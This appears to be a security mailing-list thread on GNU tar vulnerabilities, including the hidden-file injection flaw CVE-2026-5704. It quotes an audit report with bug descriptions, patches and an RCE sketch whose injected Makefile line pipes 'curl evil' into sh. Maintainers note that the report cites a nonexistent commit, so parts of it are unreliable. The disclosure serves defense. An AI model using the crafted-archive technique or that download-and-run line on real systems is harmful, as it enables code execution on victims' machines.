A flaw was found in tar. A remote attacker could exploit this vulnerability by crafting a malicious archive, leading to hidden file injection with fully attacker-controlled content. This bypasses pre-extraction inspection mechanisms, potentially allowing an attacker to introduce malicious files onto a system without detection.
Summary: GNU tar allows malformed archives where non-data-bearing typeflags (symlink, char device, block device, FIFO) contain a non-zero size field, leading to inconsistent behavior between listing (tar -t) and extraction (tar -x). This results in stream desynchronization and enables hidden file injection. Requirements to exploit: An attacker only needs the ability to supply a crafted tar archive to a target system that performs pre-extraction inspection using tar -t (or equivalent API) and later extracts it using GNU tar. No privileges or user interaction beyond extraction are required.
Patch Available: no
Version Fixed: N/A
Impact: Hidden file injection with fully attacker-controlled content
Bypass of pre-extraction inspection mechanisms
Single-implementation inconsistency (no cross-tool pipeline required)
Attack complexity: Low (crafted archive is < 3 KB, no special privileges)
Affected typeflags: '2', '3', '4', '6' (4 of 5 non-data typeflags)
Steps to reproduce if available:
Generate a crafted archive with a non-data-bearing typeflag (e.g., chardev) and non-zero size.
List contents
tar -tf crafted.tar
→ injected file is NOT shown
Extract archive:
tar -xf crafted.tar
Observe additional file created on disk that was not present in listing output.
On 2026-04-11 21:10, Collin Funk wrote: I didn't look much at the others since I am not very familiar with tar. Hopefully Paul can quickly tell if they are bogus or not.
Solar Designer <solar () openwall com> writes: === BUG #03 (HIGH) === Signed integer overflow in PAX v0.0/v0.1 sparse offset+numbytes
Files: src/xheader.c:1426 (sparsenumbytesdecoder) src/xheader.c:1480 (sparsemapdecoder) Impact: Signed 64-bit integer overflow in offset+numbytes arithmetic. Undefined behavior that can corrupt internal state.
Description:
The PAX v1.0 decoder in sparse.c already checks:
if (INTADDOVERFLOW (sp.offset, u)) ...
But the PAX v0.0 and v0.1 decoders in xheader.c do not. A crafted extended header with offset=9223372036854775800 and numbytes=100 passes individual range checks but overflows signed offt when summed.
UBSan output:
xheader.c:1473: runtime error: signed integer overflow: 9223372036854775800 + 100 cannot be represented in type 'long int'
Proposed fix:
Add the same INTADDOVERFLOW check after assigning numbytes in both sparsenumbytesdecoder() and sparsemapdecoder(), and return early with an error if the check fires. Both of the functions they reference check that the value fits in offt. A commit from 16 years ago shows the relevant code [1], but even before that overflows where checked. === BUG #04 (LOW) === FLEXNSIZEOF overflow in createplaceholderfile
File: src/extract.c:1444 Impact: Theoretical heap buffer overflow if linkname is near SIZEMAX.
Description:
createplaceholderfile() computes:
xmalloc (FLEXNSIZEOF (struct delayedlink, target, strlen (currentstatinfo.linkname) + 1));
If strlen(linkname) is near SIZEMAX, adding 1 overflows sizet, and FLEXNSIZEOF computes a small allocation size. The subsequent strcpy writes past the buffer. PAX extended headers allow arbitrarily long linkpath values, so the attacker controls the length. In practice this requires the system to have nearly SIZEMAX bytes of memory available, so it is mostly theoretical.
Proposed fix:
sizet linklen = strlen (currentstatinfo.linkname); if (SIZEMAX - sizeof (struct delayedlink) <= linklen) xallocdie (); I think it is safe to assume that no one has SIZEMAX bytes of memory. === BUG #09 (MEDIUM) === strcmp overread past the non-NUL-terminated magic field
File: src/list.c:565, 632 (readheader, decodeheader) Impact: Buffer overread past the 6-byte magic field boundary. Format misdetection with crafted headers.
Description:
strcmp (h->magic, TMAGIC) // line 565 strcmp (header->header.magic, TMAGIC) // line 632
TMAGIC is "ustar\0" (6 bytes including NUL). The magic field in the header struct is exactly 6 bytes (char magic[6]). If the field contains "ustar\x01" (no NUL terminator), strcmp reads past byte 5 into the adjacent version[2] and uname[32] fields until it finds a NUL.
ASan (with tight heap allocator) reports:
ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 ... in strcmpsse42
Proposed fix:
memcmp (h->magic, TMAGIC, sizeof TMAGIC) This is just copied from Paul's commit in 2025 [2]. === BUG #10 (MEDIUM) === Incomplete destructor for delayedlinktable hash entries
File: src/extract.c:1478 (createplaceholderfile) Impact: Memory leak on hash collision/replacement.
Description:
hashinitialize (0, 0, dlhash, dlcompare, free)
The destructor callback is just free(), which frees the top-level struct delayedlink but not its sub-allocations: the sources linked list, cntxname, aclsaptr, aclsdptr, and xattrmap. When a hash collision causes an old entry to be evicted, these are leaked.
Proposed fix:
Write a proper destructor:
static void freedelayedlink (void entry) { struct delayedlink p = entry; struct stringlist s, next; for (s = p->sources; s; s = next) { next = s->next; free (s); } free (p->cntxname); free (p->aclsaptr); free (p->aclsdptr); xattrmapfree (&p->xattrmap); free (p); }
And pass freedelayedlink instead of free to hashinitialize. GNU tar never calls hashfree, and therefore will never call the free function given to hashinitialize. It is explained in a comment and the commit message [3]:
if (false) { / There is little point to freeing, as we are about to exit, and freeing is more likely to cause than cure trouble. / hashfree (delayedlinktable); delayedlinktable = NULL; } === BUG #13 (LOW) === Integer truncation in decoderecord
File: src/xheader.c:630 (decoderecord) Impact: Implicit narrowing from ptrdifft to int; UBSan -fsanitize=implicit-conversion fires.
Description:
int lenlen = lenlim - p; // line 630
lenlim - p is ptrdifft. If the difference exceeds INTMAX, the implicit conversion to int wraps to a negative value. The value is only used to format an error message, so the practical impact is limited to a garbled diagnostic, but UBSan rightfully flags it.
Proposed fix:
int lenlen = (int) (lenlim - p < 1000 ? lenlim - p : 1000);
This clamps the value to a reasonable range for the error message. This proposal was just copied from Paul's commit in 2024 [4]. === SUMMARY TABLE ===
# Severity File Function / Line Short description -- -------- ----------- --------------------------- -------------------------- 01 CRITICAL sparse.c:593 sparseextractfile Archive stream desync -> file injection 14 CRITICAL (same root cause as #01) Full RCE chain demo 02 HIGH sparse.c:803 oldgnuaddsparse Overlapping sparse regions -> corruption 03 HIGH xheader.c sparsenumbytes/mapdecoder Missing INTADDOVERFLOW 04 LOW extract.c:1444 createplaceholderfile FLEXNSIZEOF sizet overflow 05 MEDIUM extract.c:566 delaysetstat Memory leak on reuse path 06 MEDIUM extract.c:996 applynonancestordelayed.. Shallow xattrmap copy (UAF) 07 MEDIUM extract.c:985 applynonancestordelayed.. Uninitialized tarstatinfo 08 MEDIUM extract.c:1898 applydelayedlink Uninitialized tarstatinfo 09 MEDIUM list.c:565 readheader / decodeheader strcmp past magic field 10 MEDIUM extract.c:1478 createplaceholderfile Incomplete hash destructor 11 LOW extract.c:364 checktime Signed overflow in time diff 12 LOW extract.c:953 applynonancestordelayed.. filenamelen=0 underflow 13 LOW xheader.c:630 decoderecord ptrdifft -> int truncation I didn't look much at the others since I am not very familiar with tar. Hopefully Paul can quickly tell if they are bogus or not. === REPRODUCTION ===
All bugs were confirmed on tar 1.35 (commit 8e3c8fa17 from https://git.savannah.gnu.org/cgit/tar.git). Bugs #01, #02, and #14 are reproducible without sanitizers on any 64-bit Linux system. The remaining bugs require ASan, UBSan, or MSan to observe. This commit hash does not exist, which does not inspire much confidence:
$ git log 8e3c8fa17 fatal: ambiguous argument '8e3c8fa17': unknown revision or path not in the working tree. Use '--' to separate paths from revisions, like this: 'git <command> [<revision>...] -- [<file>...]'
Collin
[1] https://git.savannah.gnu.org/cgit/tar.git/commit/?id=a59c819beb4886ee43f16dfd80ec1151fda1abe6 [2] https://git.savannah.gnu.org/cgit/tar.git/commit/?id=c11084bcc2d7d9976570a12263b81d2488066115 [3] https://git.savannah.gnu.org/cgit/tar.git/commit/?id=258d1c44e5ee7c58b28bf0000e9d737df6081885 [4] https://git.savannah.gnu.org/cgit/tar.git/commit/?id=d1e72a536f26188230a147d948b9057714fd0b6b
On Sat, Apr 11, 2026 at 10:10:20AM -0700, Alan Coopersmith wrote: https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00007.html disclosed: From: Guillermo de Angel Subject: GNU tar: listing/extraction desynchronization allows hidden file injection (tar -t vs tar -x) Date: Wed, 18 Mar 2026 15:55:41 +0100
Red Hat appears to have assigned CVE-2026-5704 to this issue.
Paul Eggert provided a patch in https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00011.html which is also available in https://cgit.git.savannah.gnu.org/cgit/tar.git/commit/?id=b8d8a61b25588caca4efaf9bdd2e3f1a49da77e3
https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00012.html points out that a similar report was also included in https://lists.gnu.org/archive/html/bug-tar/2026-02/msg00022.html along with a number of other bug reports. This last posting indeed includes "a number of other bug reports", and seems to have no replies. Confusingly, it seems to have been posted as a reply to an unrelated message, but that's no reason to ignore it. I'll quote it below. First the summary part: Severity File Function / Line Short description -- -------- ----------- --------------------------- -------------------------- 01 CRITICAL sparse.c:593 sparseextractfile Archive stream desync -> file injection 14 CRITICAL (same root cause as #01) Full RCE chain demo 02 HIGH sparse.c:803 oldgnuaddsparse Overlapping sparse regions -> corruption 03 HIGH xheader.c sparsenumbytes/mapdecoder Missing INTADDOVERFLOW 04 LOW extract.c:1444 createplaceholderfile FLEXNSIZEOF sizet overflow 05 MEDIUM extract.c:566 delaysetstat Memory leak on reuse path 06 MEDIUM extract.c:996 applynonancestordelayed.. Shallow xattrmap copy (UAF) 07 MEDIUM extract.c:985 applynonancestordelayed.. Uninitialized tarstatinfo 08 MEDIUM extract.c:1898 applydelayedlink Uninitialized tarstatinfo 09 MEDIUM list.c:565 readheader / decodeheader strcmp past magic field 10 MEDIUM extract.c:1478 createplaceholderfile Incomplete hash destructor 11 LOW extract.c:364 checktime Signed overflow in time diff 12 LOW extract.c:953 applynonancestordelayed.. filenamelen=0 underflow 13 LOW xheader.c:630 decoderecord ptrdifft -> int truncation There's some discrepancy in vulnerability count - the summary lists 14 and says one has "same root cause" as another, so that's 13 unique, and the rest of the message lists them, but the Subject line says 12. Also the message says: I am attaching proposed patches and PoC archives for everything below. but I see no attachments.
Anyway, here's the full thing: From: Vahagn Vardanian Subject: [SECURITY] 12 vulnerabilities in tar 1.35 extraction path, including arbitrary file injection Date: Tue, 24 Feb 2026 14:46:53 +0400
Hi,
I found several security bugs in GNU tar 1.35 during a code audit focused on the extraction path. The most severe one allows a crafted archive to inject arbitrary files onto disk -- files that never appear in "tar -t" output. A full RCE chain (injecting a Makefile) is trivial to build on top of it.
I am attaching proposed patches and PoC archives for everything below. I would be happy to work with you on getting these merged. I also prepared Debian quilt patches and regression tests (nine .at files for the GNU Autotest framework) that cover all of the bugs.
The bugs are listed below from most to least severe.
=== BUG #01 / #14 (CRITICAL) === Arbitrary file injection via PAX v0.1 sparse archive stream desync
Files: src/sparse.c:576-596, src/xheader.c Impact: An attacker can inject files with arbitrary names, modes, and content that are invisible to "tar -t". Full RCE is demonstrated by injecting a Makefile into what looks like a legitimate source tarball.
Description:
sparseextractfile() (sparse.c:576) reads archive data blocks according to the sparse map, not according to archivefilesize. If an attacker sets archivefilesize smaller than the sum of all sparsemap[i].numbytes, the extractor reads past the end of the declared archive data into the headers and data of subsequent archive members. This desynchronizes the archive stream: the next call to readheader() interprets raw data as a tar header.
The attacker controls that data, so they can inject a fully functional tar header for any file they want. The injected file never appears in "tar -t" output because listing mode does not trigger sparse extraction.
Concrete exploit scenario:
[PAX ext hdr: GNU.sparse.map=0,512,2048,512; sparse.size=4096] [ustar hdr: .cache, size=512] <- archivefilesize=512 [512 bytes of .cache data] <- region 0 ok [ustar hdr: .gitignore, size=0] <- consumed as region 1 data! [ustar hdr: Makefile, size=80, mode=0755] <- injected member [80 bytes: "all:\n\t@curl evil|sh\n"] [end-of-archive]
$ tar -tf rcechain.tar project-1.0/ project-1.0/README.md project-1.0/src/main.c project-1.0/Makefile <- looks legitimate $ tar -xf rcechain.tar -C /tmp/build && make -C /tmp/build/project-1.0 [] RCE achieved
Proposed fix:
After tarsparsedecodeheader() returns (sparse.c:593), sum all sparsemap[i].numbytes and call FATALERROR if the total exceeds archivefilesize. FATALERROR (not ERROR) is required because the caller in extract.c ignores the return value and calls skimfile() with an uninitialized size variable otherwise.
if (rc) { offt total = 0; for (i = 0; i < file.statinfo->sparsemapavail; i++) { if (INTADDOVERFLOW (total, file.statinfo->sparsemap[i].numbytes)) FATALERROR ((0, 0, ("%s: sparse map total exceeds archive file size"), st->origfilename)); total += file.statinfo->sparsemap[i].numbytes; } if (total > file.statinfo->archivefilesize) FATALERROR ((0, 0, ("%s: sparse map total exceeds archive file size"), st->origfilename)); }
=== BUG #02 (HIGH) === Overlapping OLDGNU sparse map entries cause silent data corruption
File: src/sparse.c:789-803 (oldgnuaddsparse) Impact: Silent file corruption. The extractor lseeks backward and overwrites already-written data with content from a later sparse region.
Description:
oldgnuaddsparse() validates that individual offset and numbytes values are non-negative and that offset+numbytes does not overflow, but it never checks that the new entry does not overlap with the previous one. An attacker can supply:
sp[0]: offset=0, numbytes=512 sp[1]: offset=256, numbytes=512
Region 1 overlaps region 0 at bytes 256-511. The extractor lseeks to offset 256 and overwrites the first 256 bytes written by region 0.
Proposed fix:
Track the end of the previous entry and reject any new entry whose offset falls below it:
if (file->statinfo->sparsemapavail > 0) { struct sparray prev = &file->statinfo->sparsemap[file->statinfo->sparsemapavail - 1]; if (INTADDOVERFLOW (prev->offset, prev->numbytes) || sp.offset < prev->offset + prev->numbytes) return addfail; }
The same check is also needed in the PAX v0.0 and v0.1 decoders in xheader.c (sparsenumbytesdecoder at line 1426 and sparsemapdecoder at line 1480).
=== BUG #03 (HIGH) === Signed integer overflow in PAX v0.0/v0.1 sparse offset+numbytes
Files: src/xheader.c:1426 (sparsenumbytesdecoder) src/xheader.c:1480 (sparsemapdecoder) Impact: Signed 64-bit integer overflow in offset+numbytes arithmetic. Undefined behavior that can corrupt internal state.
Description:
The PAX v1.0 decoder in sparse.c already checks:
if (INTADDOVERFLOW (sp.offset, u)) ...
But the PAX v0.0 and v0.1 decoders in xheader.c do not. A crafted extended header with offset=9223372036854775800 and numbytes=100 passes individual range checks but overflows signed offt when summed.
UBSan output:
xheader.c:1473: runtime error: signed integer overflow: 9223372036854775800 + 100 cannot be represented in type 'long int'
Proposed fix:
Add the same INTADDOVERFLOW check after assigning numbytes in both sparsenumbytesdecoder() and sparsemapdecoder(), and return early with an error if the check fires.
=== BUG #04 (LOW) === FLEXNSIZEOF overflow in createplaceholderfile
File: src/extract.c:1444 Impact: Theoretical heap buffer overflow if linkname is near SIZEMAX.
Description:
createplaceholderfile() computes:
xmalloc (FLEXNSIZEOF (struct delayedlink, target, strlen (currentstatinfo.linkname) + 1));
If strlen(linkname) is near SIZEMAX, adding 1 overflows sizet, and FLEXNSIZEOF computes a small allocation size. The subsequent strcpy writes past the buffer. PAX extended headers allow arbitrarily long linkpath values, so the attacker controls the length. In practice this requires the system to have nearly SIZEMAX bytes of memory available, so it is mostly theoretical.
Proposed fix:
sizet linklen = strlen (currentstatinfo.linkname); if (SIZEMAX - sizeof (struct delayedlink) <= linklen) xallocdie ();
=== BUG #05 (MEDIUM) === Memory leaks in delaysetstat reuse path
File: src/extract.c:566-590 (delaysetstat) Impact: Unbounded memory leak; a crafted archive with repeated directory entries and different xattrs can cause OOM.
Description:
When the same directory appears multiple times in an archive, delaysetstat() reuses the existing hash entry. But it overwrites cntxname (line 566), aclsaptr (line 571), aclsdptr (line 581), and xattrmap (line 590) without freeing the old values first.
Additionally, for NEW entries (the else branch at line 537), cntxname, aclsaptr, and aclsdptr are not initialized to NULL. The memory is allocated with xmalloc, so these fields contain garbage. If the reuse path then calls free() on them, it frees garbage pointers.
Proposed fix:
On the reuse path, add free(data->cntxname), free(data->aclsaptr), free(data->aclsdptr), and xattrmapfree()+xattrmapinit() before overwriting. On the new-entry path, initialize the three pointer fields to NULL and the two length fields to 0.
=== BUG #06 (MEDIUM) === Shallow xattrmap copy -- dangling pointer / latent use-after-free
File: src/extract.c:996 (applynonancestordelayedsetstat) Impact: Dangling pointer after the source is freed. Latent UAF depending on how setstat uses the xattrmap.
Description:
struct tarstatinfo sb; ... sb.xattrmap = data->xattrmap; // line 996: shallow copy setstat (data->filename, &sb, ...); // data is freed shortly after, invalidating xattrmap.xattrs
The struct assignment copies the pointer, not the data. After setstat returns and data is freed, sb.xattrmap.xattrs is dangling.
Proposed fix:
Replace the shallow copy with a deep copy:
xattrmapinit (&sb.xattrmap); xattrmapcopy (&sb.xattrmap, &data->xattrmap); setstat (...); xattrmapfree (&sb.xattrmap);
=== BUG #07 (MEDIUM) === Uninitialized struct tarstatinfo on stack
File: src/extract.c:985 (applynonancestordelayedsetstat) Impact: Use of uninitialized memory; detected by MSan.
Description:
struct tarstatinfo sb; // line 985: uninitialized sb.stat.stmode = data->mode; // only a few fields are set ... setstat (data->filename, &sb, ...);
Fields like stat.stsize, stat.stdev, dumpdir, sparsemap, etc. retain garbage values from the stack.
MSan output:
WARNING: MemorySanitizer: use-of-uninitialized-value #0 in setstat (extract.c:990) #1 in applynonancestordelayedsetstat (extract.c:999)
Proposed fix:
memset (&sb, 0, sizeof sb);
=== BUG #08 (MEDIUM) === Uninitialized struct tarstatinfo in applydelayedlink
File: src/extract.c:1898 (applydelayedlink) Impact: Same as Bug #07 -- use of uninitialized memory.
Description:
struct tarstatinfo st1; // line 1898: uninitialized st1.stat.stmode = ds->mode; ... setstat (source, &st1, ...);
Same pattern as Bug #07 in a different function.
Proposed fix:
memset (&st1, 0, sizeof st1);
=== BUG #09 (MEDIUM) === strcmp overread past the non-NUL-terminated magic field
File: src/list.c:565, 632 (readheader, decodeheader) Impact: Buffer overread past the 6-byte magic field boundary. Format misdetection with crafted headers.
Description:
strcmp (h->magic, TMAGIC) // line 565 strcmp (header->header.magic, TMAGIC) // line 632
TMAGIC is "ustar\0" (6 bytes including NUL). The magic field in the header struct is exactly 6 bytes (char magic[6]). If the field contains "ustar\x01" (no NUL terminator), strcmp reads past byte 5 into the adjacent version[2] and uname[32] fields until it finds a NUL.
ASan (with tight heap allocator) reports:
ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 ... in strcmpsse42
Proposed fix:
memcmp (h->magic, TMAGIC, sizeof TMAGIC)
=== BUG #10 (MEDIUM) === Incomplete destructor for delayedlinktable hash entries
File: src/extract.c:1478 (createplaceholderfile) Impact: Memory leak on hash collision/replacement.
Description:
hashinitialize (0, 0, dlhash, dlcompare, free)
The destructor callback is just free(), which frees the top-level struct delayedlink but not its sub-allocations: the sources linked list, cntxname, aclsaptr, aclsdptr, and xattrmap. When a hash collision causes an old entry to be evicted, these are leaked.
Proposed fix:
Write a proper destructor:
static void freedelayedlink (void entry) { struct delayedlink p = entry; struct stringlist s, next; for (s = p->sources; s; s = next) { next = s->next; free (s); } free (p->cntxname); free (p->aclsaptr); free (p->aclsdptr); xattrmapfree (&p->xattrmap); free (p); }
And pass freedelayedlink instead of free to hashinitialize.
=== BUG #11 (LOW) === Signed integer overflow in checktime
File: src/extract.c:364 (checktime) Impact: Undefined behavior (signed overflow) with base-256 encoded mtime values near INT64MAX.
Description:
diff.tvsec = t.tvsec - now.tvsec; // line 364
If t.tvsec is a very large positive value (e.g. 2^62 - 1, encoded in base-256 in the mtime field) and now.tvsec is the current time, the subtraction overflows signed timet.
UBSan output:
extract.c:367: runtime error: signed integer overflow: 4611686018427387903 - 1708000000 cannot be represented in type 'long int'
Proposed fix:
if (INTSUBTRACTOVERFLOW (t.tvsec, now.tvsec)) diff.tvsec = TYPEMAXIMUM (timet); else diff.tvsec = t.tvsec - now.tvsec;
=== BUG #12 (LOW) === Off-by-one when filenamelen is 0
File: src/extract.c:953 (applynonancestordelayedsetstat) Impact: Read at index -1 when data->filenamelen is 0.
Description:
|| (data->filenamelen < filenamelen && filename[data->filenamelen] && (ISSLASH (filename[data->filenamelen]) || ISSLASH (filename[data->filenamelen - 1]))
If data->filenamelen is 0, the expression filename[data->filenamelen - 1] accesses filename[(sizet)-1].
Proposed fix:
Add a guard: data->filenamelen > 0 && data->filenamelen < ...
=== BUG #13 (LOW) === Integer truncation in decoderecord
File: src/xheader.c:630 (decoderecord) Impact: Implicit narrowing from ptrdifft to int; UBSan -fsanitize=implicit-conversion fires.
Description:
int lenlen = lenlim - p; // line 630
lenlim - p is ptrdifft. If the difference exceeds INTMAX, the implicit conversion to int wraps to a negative value. The value is only used to format an error message, so the practical impact is limited to a garbled diagnostic, but UBSan rightfully flags it.
Proposed fix:
int lenlen = (int) (lenlim - p < 1000 ? lenlim - p : 1000);
This clamps the value to a reasonable range for the error message.
=== SUMMARY TABLE ===
# Severity File Function / Line Short description -- -------- ----------- --------------------------- -------------------------- 01 CRITICAL sparse.c:593 sparseextractfile Archive stream desync -> file injection 14 CRITICAL (same root cause as #01) Full RCE chain demo 02 HIGH sparse.c:803 oldgnuaddsparse Overlapping sparse regions -> corruption 03 HIGH xheader.c sparsenumbytes/mapdecoder Missing INTADDOVERFLOW 04 LOW extract.c:1444 createplaceholderfile FLEXNSIZEOF sizet overflow 05 MEDIUM extract.c:566 delaysetstat Memory leak on reuse path 06 MEDIUM extract.c:996 applynonancestordelayed.. Shallow xattrmap copy (UAF) 07 MEDIUM extract.c:985 applynonancestordelayed.. Uninitialized tarstatinfo 08 MEDIUM extract.c:1898 applydelayedlink Uninitialized tarstatinfo 09 MEDIUM list.c:565 readheader / decodeheader strcmp past magic field 10 MEDIUM extract.c:1478 createplaceholderfile Incomplete hash destructor 11 LOW extract.c:364 checktime Signed overflow in time diff 12 LOW extract.c:953 applynonancestordelayed.. filenamelen=0 underflow 13 LOW xheader.c:630 decoderecord ptrdifft -> int truncation
=== REPRODUCTION ===
All bugs were confirmed on tar 1.35 (commit 8e3c8fa17 from https://git.savannah.gnu.org/cgit/tar.git). Bugs #01, #02, and #14 are reproducible without sanitizers on any 64-bit Linux system. The remaining bugs require ASan, UBSan, or MSan to observe.
Build with sanitizers:
# ASan + UBSan CC=gcc CFLAGS="-g -O0 -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" ./configure && make
# MSan (requires clang) CC=clang CFLAGS="-g -O0 -fsanitize=memory -fsanitize-memory-track-origins=2" \ LDFLAGS="-fsanitize=memory" ./configure && make
I can provide the PoC generator scripts and the complete patch if that would be helpful.
Best regards, Vahagn Vardanyan
-- Vahagn Vardanian Co-founder and Chief Technology Officer, RedRays, Inc Alexander
On 4/11/26 11:41, Collin Funk wrote: Alan Coopersmith <alan.coopersmith () oracle com> writes:
Not directly related to the issues in GNU tar, but one of the reports you shared [1]. See the following text: I am happy to coordinate on a disclosure timeline. Please let me know if you need additional information or testing. This is one of many examples I have seen lately of people writing as if they were sending private messages on a public list. I assume it is a common LLM hallucination? Yes, we saw it happen on the freetype mailing list as well recently - there it was suggested that new people are unfamiliar with the concept of a publicly subscribable/archived mailing list, as they all use web forums / tools instead of email for collaboration now: https://lists.nongnu.org/archive/html/freetype-devel/2026-03/msg00020.html and the freetype.org contacts page was updated to try to clarify where to send vulnerability reports privately.
I wouldn't be surprised to find out many LLMs don't understand the lists they're mailing have public archives/subscriptions either.
-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
Alan Coopersmith <alan.coopersmith () oracle com> writes: Red Hat appears to have assigned CVE-2026-5704 to this issue.
Paul Eggert provided a patch in https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00011.html which is also available in https://cgit.git.savannah.gnu.org/cgit/tar.git/commit/?id=b8d8a61b25588caca4efaf9bdd2e3f1a49da77e3
https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00012.html points out that a similar report was also included in https://lists.gnu.org/archive/html/bug-tar/2026-02/msg00022.html along with a number of other bug reports. Not directly related to the issues in GNU tar, but one of the reports you shared [1]. See the following text: I am happy to coordinate on a disclosure timeline. Please let me know if you need additional information or testing. This is one of many examples I have seen lately of people writing as if they were sending private messages on a public list. I assume it is a common LLM hallucination?
I find it mildly annoying, especially since it is often paired with total slop. I guess in this case it isn't a bug deal since it is associated with an actual issue.
For a worse example, see a recent bug report in GNU coreutils claiming that the 'printf' command allowed for remote code execution because it allows the user the control the format string [2]. Which is made worse by it just making up code that doesn't exist.
Collin
[1] https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00007.html [2] https://bugs.gnu.org/80802
https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00007.html disclosed: From: Guillermo de Angel Subject: GNU tar: listing/extraction desynchronization allows hidden file injection (tar -t vs tar -x) Date: Wed, 18 Mar 2026 15:55:41 +0100
Hello,
I am reporting a security issue in GNU tar 1.35 where tar -t and tar -x produce different results when processing archives containing non-data-bearing typeflags (symlink, chardev, blockdev, FIFO) with a non-zero size field.
Summary:
- tar -t respects the size field and skips the data blocks - tar -x ignores the size field and parses the data blocks as headers - Result: files embedded in the data region are invisible to listing but are created on disk during extraction
This enables hidden file injection: an attacker can craft a small archive (< 3 KB) where tar -t reports N entries but tar -x creates N+M files.
Any security workflow that relies on tar -t for pre-extraction inspection will have an incomplete view of the archive contents.
Reproduction (GNU tar 1.35, Ubuntu 24.04):
$ tar -tf desyncchardev.tar carrierentry marker.txt
$ mkdir /tmp/test && tar -xf desyncchardev.tar -C /tmp/test $ ls /tmp/test/ carrierentry injected.txt marker.txt ^^^^^^^^^^^^ not in listing
bsdtar 3.7.2 is consistent in both modes (lists and extracts all 3 entries).
Affected typeflags: '2' (symlink), '3' (chardev), '4' (blockdev), '6' (FIFO). Typeflag '5' (directory) is not affected.
I have attached:
1. Full advisory with root cause analysis and impact assessment 2. Standalone PoC generator (Python 3, no dependencies) 3. Four minimal PoC archives (one per affected typeflag)
I am happy to coordinate on a disclosure timeline. Please let me know if you need additional information or testing.
Regards,
Guillermo de Angel Red Hat appears to have assigned CVE-2026-5704 to this issue.
Paul Eggert provided a patch in https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00011.html which is also available in https://cgit.git.savannah.gnu.org/cgit/tar.git/commit/?id=b8d8a61b25588caca4efaf9bdd2e3f1a49da77e3
https://lists.gnu.org/archive/html/bug-tar/2026-03/msg00012.html points out that a similar report was also included in https://lists.gnu.org/archive/html/bug-tar/2026-02/msg00022.html along with a number of other bug reports.
-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris